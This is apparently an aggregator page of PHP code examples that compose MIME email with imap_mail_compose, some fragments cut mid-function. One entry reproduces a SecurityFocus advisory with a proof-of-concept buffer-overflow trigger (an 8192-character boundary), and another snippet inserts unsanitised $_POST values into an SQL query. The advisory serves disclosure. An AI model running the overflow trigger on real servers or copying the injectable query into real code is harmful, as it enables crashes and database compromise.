示例#1
2
 function _sendSummaryEmail()
 {
     if (count($this->_getMsgIDs()) < 1) {
         $this->_addToSummary('No ARB emails to process');
         return;
     }
     $summary = $this->_summaryToString();
     $envelope["from"] = ini_get('sendmail_from');
     $body[] = array("type" => TYPEMULTIPART, "subtype" => "mixed");
     $body[] = array('type' => 0, 'encoding' => 0, 'subtype' => "PLAIN", 'contents.data' => $summary);
     foreach ($this->_getAttachments() as $filename => $attachment) {
         $body[] = array('type' => 0, 'encoding' => 0, 'subtype' => "X-COMMA-SEPARATED-VALUES", 'description' => $filename, 'disposition.type' => 'attachment', 'disposition' => array('filename' => $filename), 'dparameters.filename' => $filename, 'parameters.name' => $filename, 'contents.data' => $attachment);
     }
     $msg = imap_mail_compose($envelope, $body);
     list($t_header, $t_body) = split("\r\n\r\n", $msg, 2);
     $t_header = str_replace("\r", '', $t_header);
     $success = imap_mail(_CRM_PROCESS_AUTHORIZE_REPORT_SUMMARY_TO_EMAIL, 'Authorize.net Report Processesing Summary', $t_body, $t_header);
 }
/**
 * Create a multipart message with subparts
 *
 * @param resource $imap_stream
 * @param string $mailbox
 */
function create_multipart_message($imap_stream, $mailbox)
{
    global $users, $domain;
    $envelope["from"] = "*****@*****.**";
    $envelope["to"] = "{$users['0']}@{$domain}";
    $envelope["subject"] = "Test msg 1";
    $part1["type"] = TYPEMULTIPART;
    $part1["subtype"] = "mixed";
    $part2["type"] = TYPETEXT;
    $part2["subtype"] = "plain";
    $part2["description"] = "imap_mail_compose() function";
    $part2["contents.data"] = "message 1:xxxxxxxxxxxxxxxxxxxxxxxxxx";
    $part3["type"] = TYPETEXT;
    $part3["subtype"] = "plain";
    $part3["description"] = "Example";
    $part3["contents.data"] = "message 2:yyyyyyyyyyyyyyyyyyyyyyyyyy";
    $file_handle = fopen(__FILE__, 'r+');
    $file_size = 1;
    $part4["type"] = TYPEAPPLICATION;
    $part4["encoding"] = ENCBASE64;
    $part4["subtype"] = "octet-stream";
    $part4["description"] = 'Test';
    $part4['disposition.type'] = 'attachment';
    $part4['disposition'] = array('filename' => 'Test');
    $part4['type.parameters'] = array('name' => 'Test');
    $part4["contents.data"] = base64_encode(fread($file_handle, 1));
    $body[1] = $part1;
    $body[2] = $part2;
    $body[3] = $part3;
    $body[4] = $part4;
    $msg = imap_mail_compose($envelope, $body);
    if (imap_append($imap_stream, $mailbox, $msg) === false) {
        echo imap_last_error() . "\n";
        echo "TEST FAILED : could not append new message to mailbox '{$mailbox}'\n";
        exit;
    }
}
示例#3
0
 public function composeMessage($message)
 {
     $envelope["from"] = "*****@*****.**";
     $envelope["to"] = "";
     $envelope["cc"] = "*****@*****.**";
     $part1["type"] = TYPEMULTIPART;
     $part1["subtype"] = "mixed";
     $filename = "attachment1.txt";
     $fp = fopen($filename, "r");
     $contents = fread($fp, filesize($filename));
     fclose($fp);
     $part2["type"] = TYPEAPPLICATION;
     $part2["encoding"] = ENCBINARY;
     //$part2["encoding"] = ENCBASE64;
     $part2["subtype"] = "octet-stream";
     $part2["description"] = basename($filename);
     $part2['disposition.type'] = 'attachment';
     $part2['disposition'] = array('filename' => $file_name);
     $part2['dparameters.filename'] = $file_name;
     $part2['parameters.name'] = $file_name;
     $part2["contents.data"] = base64_encode($contents);
     $part3["type"] = TYPETEXT;
     $part3["subtype"] = "html";
     $part3["description"] = "message";
     $part3["contents.data"] = $message;
     $body[1] = $part1;
     $body[2] = $part2;
     $body[3] = $part3;
     return imap_mail_compose($envelope, $body);
 }
示例#4
0
文件: mail_send.php 项目: noikiy/web
         $mimeType = $_FILES['upfile']['type'];
     } else {
         $mimeType = "application/unknown";
     }
     $part3["type"] = TYPEAPPLICATION;
     $part3["encoding"] = ENCBINARY;
     $part3["subtype"] = $mimeType;
     $part3["description"] = $filename;
     $part3["contents.data"] = $contents;
 }
 $body[1] = $part1;
 $body[2] = $part2;
 if ($filename != "") {
     $body[3] = $part3;
 }
 $message = imap_mail_compose($envelope, $body);
 list($msgheader, $msgbody) = split("\r\n\r\n", $message, 2);
 $data = trim($_POST[touser]);
 $datas = explode("*", $data);
 $mail_date = date("Y-m-d H:i:s");
 //获取时间
 $ip = getenv('REMOTE_ADDR');
 //获取IP地址
 while (list($name, $value) = each($datas)) {
     $sendes = imap_mail($value, $subject, $msgbody, $msgheader);
     include_once "conn/conn.php";
     $sql = "insert into tb_mail(mail_ip,mail_title,mail_formuser,mail_touser,mail_date)values('" . $ip . "','" . $subject . "','" . $_POST[fromuser] . "','" . $value . "','" . $mail_date . "')";
     $rs = new com("adodb.recordset");
     $rs->open($sql, $conn, 3, 1);
 }
 if ($sendes == true) {
示例#5
0
/**
 *	function sends missed calls of user to given email address
 *	
 *	@param	string	$uid			
 *	@param	string	$email_address	
 *	@return	bool					TRUE on success, FALSE on error
 */
function send_mail_with_missed_calls($uid, $email_address, $mail_from)
{
    global $config, $data, $lang_set;
    /* get missed calls */
    if (false === ($missed_calls = $data->get_missed_calls_of_yesterday($uid, null))) {
        return false;
    }
    if (!count($missed_calls)) {
        return true;
    }
    //there are no missed calls - nothing to do
    /* check if imap extension is loaded */
    if (!function_exists('imap_mail_compose')) {
        ErrorHandler::add_errors("Can not send mail. IMAP extension for PHP is not installed.");
        return false;
    }
    /*
     *	Create table of missed calls
     */
    $table = '<html><body><table border="1" cellspacing="0" cellpadding="1">' . "\n";
    $table .= '<tr>';
    $table .= '<th>calling subscriber</th>';
    $table .= '<th>time</th>';
    $table .= '<th>reply status</th>';
    $table .= '</tr>' . "\n";
    foreach ($missed_calls as $row) {
        $table .= '<tr>';
        $table .= '<td>' . $row->from_uri . '&nbsp;</td>';
        $table .= '<td>' . $row->request_timestamp . '&nbsp;</td>';
        $table .= '<td>' . $row->sip_status . '&nbsp;</td>';
        $table .= '</tr>' . "\n";
    }
    $table .= '</table></body></html>' . "\n";
    /*
     *	Get language of user
     */
    if (false === ($lang = Attributes::get_attribute($config->attr_names['lang'], array("uid" => $uid)))) {
        return false;
    }
    $lang = lang_detect($lang, 3);
    //translate $lang to be a index into $available_languages array
    if (!$lang) {
        $lang = $config->default_lang;
    }
    /*
     *	Read file containing the mail body
     */
    $mail_file = multidomain_get_lang_file("mail_missed_calls.txt", "txt", $lang);
    $m = read_txt_file($mail_file, array());
    if ($m === false) {
        ErrorHandler::add_error("Can't read file with mail body.");
        return false;
    }
    /* get charset */
    $charset = null;
    if (isset($m['headers']['content-type']) and eregi("charset=([-a-z0-9]+)", $m['headers']['content-type'], $regs)) {
        $charset = $regs[1];
    }
    /* add information about charset to the header */
    if ($charset) {
        $m['headers']['subject'] = "=?" . $charset . "?Q?" . imap_8bit($m['headers']['subject']) . "?=";
    }
    /*
     *	Compose the mail message
     */
    if ($mail_from) {
        $envelope["from"] = $mail_from;
    } else {
        $envelope["from"] = $config->mail_header_from;
    }
    $envelope["to"] = $email_address;
    $part1["type"] = TYPEMULTIPART;
    $part1["subtype"] = "mixed";
    $part2["type"] = TYPETEXT;
    $part2["subtype"] = "plain";
    $part2["contents.data"] = $m['body'];
    if ($charset) {
        $part2["charset"] = $charset;
    }
    $part3["type"] = TYPETEXT;
    $part3["subtype"] = "html";
    $part3["contents.data"] = $table;
    $part3["charset"] = $lang_set['charset'];
    $body[1] = $part1;
    $body[2] = $part2;
    $body[3] = $part3;
    $mail = imap_mail_compose($envelope, $body);
    list($m_header, $m_body) = split("\r\n\r\n", $mail, 2);
    /*
     *	Send mail
     */
    if (!mail($email_address, $m['headers']['subject'], $m_body, $m_header)) {
        $errors[] = "can't send missed calls to " . $email_address;
    }
    return true;
}
source: http://www.securityfocus.com/bid/23234/info

PHP is prone to a buffer-overflow vulnerability because the application fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected webserver. Failed exploit attempts will likely crash the webserver, denying service to legitimate users.

This issue affects PHP versions prior to 4.4.5 and 5.2.1. 

<?php 
$envelope["from"] = "*****@*****.**";
$envelope["to"] = "*****@*****.**";
$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";
$part1["type.parameters"] = array("BOUNDARY" => str_repeat("A", 8192));
$part2["type"] = TYPETEXT;
$part2["subtype"] = "plain";
$part2["description"] = "description3";
$part2["contents.data"] = "contents.data3\n\n\n\t";
$body[1] = $part1;
$body[2] = $part2;
imap_mail_compose($envelope, $body);
示例#7
0
<?php

$envelope = array('return_path' => 'John Doe <*****@*****.**>', 'from' => 'John Doe <*****@*****.**>', 'reply_to' => 'John Doe <*****@*****.**>', 'to' => 'John Doe <*****@*****.**>', 'cc' => 'John Doe <*****@*****.**>', 'bcc' => 'John Doe <*****@*****.**>');
var_dump($envelope);
imap_mail_compose($envelope, array(1 => array()));
var_dump($envelope);
示例#8
0
文件: modules.php 项目: hanzubon/hm3
/**
 * @subpackage smtp/functions
 */
function build_mime_msg($to, $subject, $body, $from)
{
    $headers = array('from' => $from, 'to' => $to, 'subject' => $subject, 'date' => date('r'));
    $body = array(1 => array('type' => TYPETEXT, 'subtype' => 'plain', 'contents.data' => $body));
    return imap_mail_compose($headers, $body);
}
示例#9
0
 /**
  * !Broken
  *
  * @param array $reciever
  * @param $subject
  * @param $message
  * @return bool
  */
 private function sendMessage(array $reciever, $subject, $message)
 {
     $header = new MessageHeader($reciever['bcc'], $reciever['cc'], Carbon\Carbon::now()->toDateTimeString(), $this->email, $subject, $reciever['to']);
     $body = new MessageBody($message);
     $message = imap_mail_compose($header->toArray(), array($body->toArray()));
     return imap_mail($header->to, $header->subject, $message);
 }
示例#10
0
            /* get information specific to this email */
            $Data[$IX] = (array) imap_fetch_overview($Call['Link'], $Number, 0)[0];
            $Data[$IX]['message'] = base64_decode(imap_fetchbody($Call['Link'], $Number, 2));
            $IX++;
        }
    } else {
        $Data = null;
    }
    return $Data;
});
setFn('Write', function ($Call) {
    $Headers['from'] = $Call['From'];
    $Headers['subject'] = $Call['ID'];
    $Headers['date'] = date(DATE_RFC2822);
    $HTML = [];
    $Plain = [];
    $HTML['type'] = TYPETEXT;
    $HTML['charset'] = 'utf-8';
    $HTML['subtype'] = 'html';
    $HTML['description'] = '';
    $HTML['contents.data'] = $Call['Data'];
    $Plain['type'] = TYPETEXT;
    $Plain['charset'] = 'utf-8';
    $Plain['subtype'] = 'plain';
    $Plain['description'] = '';
    $Plain['contents.data'] = strip_tags($Call['Data']);
    $Body = [['type' => TYPEMULTIPART, 'subtype' => 'alternative'], $HTML, $Plain];
    $Envelope = str_replace("\r", '', imap_mail_compose($Headers, $Body));
    imap_mail($Call['Scope'], $Call['ID'], $Envelope);
    return $Call['Data'];
});
示例#11
0
<?php

$m_envelope["To"] = "*****@*****.**";
$m_part1["type"] = TYPEMULTIPART;
$m_part1["subtype"] = "mixed";
$m_part2["type"] = TYPETEXT;
$m_part2["subtype"] = "plain";
$m_part2["description"] = "text_message";
$m_part2["charset"] = "ISO-8859-2";
$m_part2["contents.data"] = "hello";
$m_body[1] = $m_part1;
$m_body[2] = $m_part2;
echo imap_mail_compose($m_envelope, $m_body);